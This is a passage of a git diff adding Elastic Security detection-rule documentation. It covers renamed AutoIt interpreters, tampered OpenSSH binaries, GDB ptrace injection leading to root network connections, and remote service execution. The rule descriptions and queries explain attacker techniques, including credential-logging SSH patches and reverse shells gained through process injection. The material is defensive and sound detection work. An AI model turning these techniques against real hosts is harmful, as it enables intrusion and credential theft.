Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- Remote management software like SCCM may trigger this rule. If noisy on your environment, consider adding exceptions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1s + [network where host.os.type == "windows" and process.name : "services.exe" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.port >= 49152 and destination.port >= 49152 and source.ip != "127.0.0.1" and source.ip != "::1" + ] by host.id, process.entity_id + [process where host.os.type == "windows" and + event.type == "start" and process.parent.name : "services.exe" and + not (process.executable : "?:\\Windows\\System32\\msiexec.exe" and process.args : "/V") and + not process.executable : ( + "?:\\Pella Corporation\\OSCToGPAutoService\\OSCToGPAutoSvc.exe", + "?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe", + "?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\Windows\\ADCR_Agent\\adcrsvc.exe", + "?:\\Windows\\AdminArsenal\\PDQ*.exe", + "?:\\Windows\\CAInvokerService.exe", + "?:\\Windows\\ccmsetup\\ccmsetup.exe", + "?:\\Windows\\eset-remote-install-service.exe", + "?:\\Windows\\ProPatches\\Scheduler\\STSchedEx.exe", + "?:\\Windows\\PSEXESVC.EXE", + "?:\\Windows\\RemoteAuditService.exe", + "?:\\Windows\\servicing\\TrustedInstaller.exe", + "?:\\Windows\\System32\\certsrv.exe", + "?:\\Windows\\System32\\sppsvc.exe", + "?:\\Windows\\System32\\srmhost.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\System32\\taskhostex.exe", + "?:\\Windows\\System32\\upfc.exe", + "?:\\Windows\\System32\\vds.exe", + "?:\\Windows\\System32\\VSSVC.exe", + "?:\\Windows\\System32\\wbem\\WmiApSrv.exe", + "?:\\Windows\\SysWOW64\\NwxExeSvc\\NwxExeSvc.exe", + "?:\\Windows\\Veeam\\Backup\\VeeamDeploymentSvc.exe", + "?:\\Windows\\VeeamLogShipper\\VeeamLogShipper.exe", + "?:\\Windows\\VeeamVssSupport\\VeeamGuestHelper.exe" + )] by host.id, process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-renamed-automation-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-renamed-automation-script-interpreter.asciidoc new file mode 100644 index 0000000000..bd5c8cceaf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-renamed-automation-script-interpreter.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-20-renamed-automation-script-interpreter]] +=== Renamed Automation Script Interpreter + +Identifies renamed Automation Script Interpreter process. Malware written as an AutoIt/AutoHotKey script tends to rename the main executable to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Renamed Automation Script Interpreter* + + +The OriginalFileName attribute of a PE (Portable Executable) file is a metadata field that contains the original name of the executable file when compiled or linked. By using this attribute, analysts can identify renamed instances that attackers can use with the intent of evading detections, application allowlists, and other security protections. + +AutoIt is a scripting language and tool for automating tasks on Microsoft Windows operating systems. Due to its capabilities, malicious threat actors can abuse it to create malicious scripts and distribute malware. + +This rule checks for renamed instances of AutoIt, which can indicate an attempt of evading detections, application allowlists, and other security protections. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.pe.original_file_name : "AutoIt*.exe" and not process.name : "AutoIt*.exe") or + (process.pe.original_file_name == "AutoHotkey.exe" and not process.name : ("AutoHotkey*.exe", "InternalAHK.exe")) or + (process.pe.original_file_name == "KIX32.EXE" and not process.name : "KIX*.exe" and process.executable : ("?:\\Users\\*.exe", "?:\\ProgramData\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*.exe", "\\Device\\HarddiskVolume*\\ProgramData\\*.exe")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AutoHotKey & AutoIT +** ID: T1059.010 +** Reference URL: https://attack.mitre.org/techniques/T1059/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-renaming-of-openssh-binaries.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-renaming-of-openssh-binaries.asciidoc new file mode 100644 index 0000000000..4d9a8f5913 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-renaming-of-openssh-binaries.asciidoc @@ -0,0 +1,242 @@ +[[prebuilt-rule-8-19-20-renaming-of-openssh-binaries]] +=== Renaming of OpenSSH Binaries + +Adversaries may modify SSH related binaries for persistence or credential access by patching sensitive functions to enable unauthorized access or by logging SSH credentials for exfiltration. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.angelalonso.es/2016/09/anatomy-of-real-linux-intrusion-part-ii.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Renaming of OpenSSH Binaries* + + +OpenSSH is a widely used suite of secure networking utilities based on the Secure Shell (SSH) protocol, which provides encrypted communication sessions over a computer network. + +Adversaries may exploit OpenSSH by modifying its binaries, such as `/usr/bin/scp`, `/usr/bin/sftp`, `/usr/bin/ssh`, `/usr/sbin/sshd`, or `libkeyutils.so`, to gain unauthorized access or exfiltrate SSH credentials. + +The detection rule 'Modification of OpenSSH Binaries' is designed to identify such abuse by monitoring file changes in the Linux environment. It triggers an alert when a process, modifies any of the specified OpenSSH binaries or libraries. This helps security analysts detect potential malicious activities and take appropriate action. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False positive analysis* + + +- Regular users should not need to modify OpenSSH binaries, which makes false positives unlikely. In the case of authorized benign true positives (B-TPs), exceptions can be added. +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator that performed these actions for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.type:change and +process.name:(* and not ( + dnf or dnf-automatic or dpkg or yum or rpm or yum-cron or anacron or platform-python* or + apk or ansible-admin or systemd or python* or yum or nix-daemon or nix + ) +) and +(file.path:(/usr/bin/scp or + /usr/bin/sftp or + /usr/bin/ssh or + /usr/sbin/sshd) or +file.name:libkeyutils.so) and +not ( + process.executable:( + /usr/share/elasticsearch/* or "/usr/bin/microdnf" or "/usr/bin/dnf5" or "/usr/sbin/gdm" or + "/usr/libexec/packagekitd" or "/usr/libexec/zypp/zypp-rpm" or "/home/sa-ansible" + ) or + file.Ext.original.name:"sshd.session-split" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-root-network-connection-via-gdb-cap-sys-ptrace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-root-network-connection-via-gdb-cap-sys-ptrace.asciidoc new file mode 100644 index 0000000000..89e27bf05e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-root-network-connection-via-gdb-cap-sys-ptrace.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-20-root-network-connection-via-gdb-cap-sys-ptrace]] +=== Root Network Connection via GDB CAP_SYS_PTRACE + +Identifies instances where GDB (granted the CAP_SYS_PTRACE capability) is executed, after which an outbound network connection is initiated by UID/GID 0 (root). In Linux, the CAP_SYS_PTRACE capability grants a process the ability to use the ptrace system call, which is typically used for debugging and allows the process to trace and control other processes. Attackers may leverage this capability to hook and inject into a process that is running with root permissions in order to execute shell code and gain a reverse shell with root privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Root Network Connection via GDB CAP_SYS_PTRACE* + + +GDB, a debugger, can be granted the CAP_SYS_PTRACE capability, allowing it to trace and control processes, a feature often exploited by attackers. By injecting code into root processes, adversaries can execute malicious payloads, such as reverse shells. The detection rule identifies suspicious sequences where GDB is used with this capability, followed by a root-initiated network connection, signaling potential privilege escalation or command and control activities. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of GDB with CAP_SYS_PTRACE capability by examining the process name, capabilities, and user ID fields in the alert. +- Investigate the network connection attempt by analyzing the process name and user ID fields to determine if the connection was initiated by a root process. +- Check the timeline of events to ensure the sequence of GDB execution followed by a network connection attempt occurred within the specified maxspan of 30 seconds. +- Identify the destination IP address and port of the network connection to assess if it is known for malicious activity or associated with command and control servers. +- Examine the host system for any signs of compromise or unauthorized changes, focusing on processes and files that may have been affected by the potential privilege escalation. +- Correlate the alert with other security events or logs from the same host to identify any additional suspicious activities or patterns that may indicate a broader attack. + + +*False positive analysis* + + +- Development environments may trigger this rule when developers use GDB with CAP_SYS_PTRACE for legitimate debugging purposes. To mitigate, create exceptions for specific user IDs or processes known to be involved in development activities. +- Automated testing frameworks that utilize GDB for testing applications with root privileges can cause false positives. Identify and exclude these processes or testing environments from the rule. +- System maintenance scripts that require debugging of root processes might inadvertently match the rule criteria. Review and whitelist these scripts or the specific time frames they run to prevent unnecessary alerts. +- Security tools that perform legitimate process tracing as part of their monitoring activities could be mistaken for malicious behavior. Ensure these tools are recognized and excluded from the detection rule. +- Custom administrative scripts that use GDB for process management under root privileges should be documented and excluded to avoid false alarms. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further malicious activity and potential lateral movement. +- Terminate any suspicious processes associated with GDB that have been granted the CAP_SYS_PTRACE capability, especially those initiated by non-root users. +- Conduct a thorough review of the affected system's logs to identify any unauthorized changes or additional malicious activities that may have occurred. +- Reset credentials and review permissions for any accounts that may have been compromised, particularly those with elevated privileges. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement network monitoring to detect and block any further unauthorized outbound connections from root processes. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entry_leader.entity_id with maxspan=30s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "gdb" and + (process.thread.capabilities.effective : "CAP_SYS_PTRACE" or process.thread.capabilities.permitted : "CAP_SYS_PTRACE") and + user.id != "0"] + [network where host.os.type == "linux" and event.action == "connection_attempted" and event.type == "start" and + process.name != null and user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rot-encoded-python-script-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rot-encoded-python-script-execution.asciidoc new file mode 100644 index 0000000000..26ea2b5ff0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rot-encoded-python-script-execution.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-rot-encoded-python-script-execution]] +=== ROT Encoded Python Script Execution + +Identifies the execution of a Python script that uses the ROT cipher for letters substitution. Adversaries may use this method to encode and obfuscate part of their malicious code in legit python packages. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/dprk-code-of-conduct +* https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages + +*Tags*: + +* Domain: Endpoint +* OS: 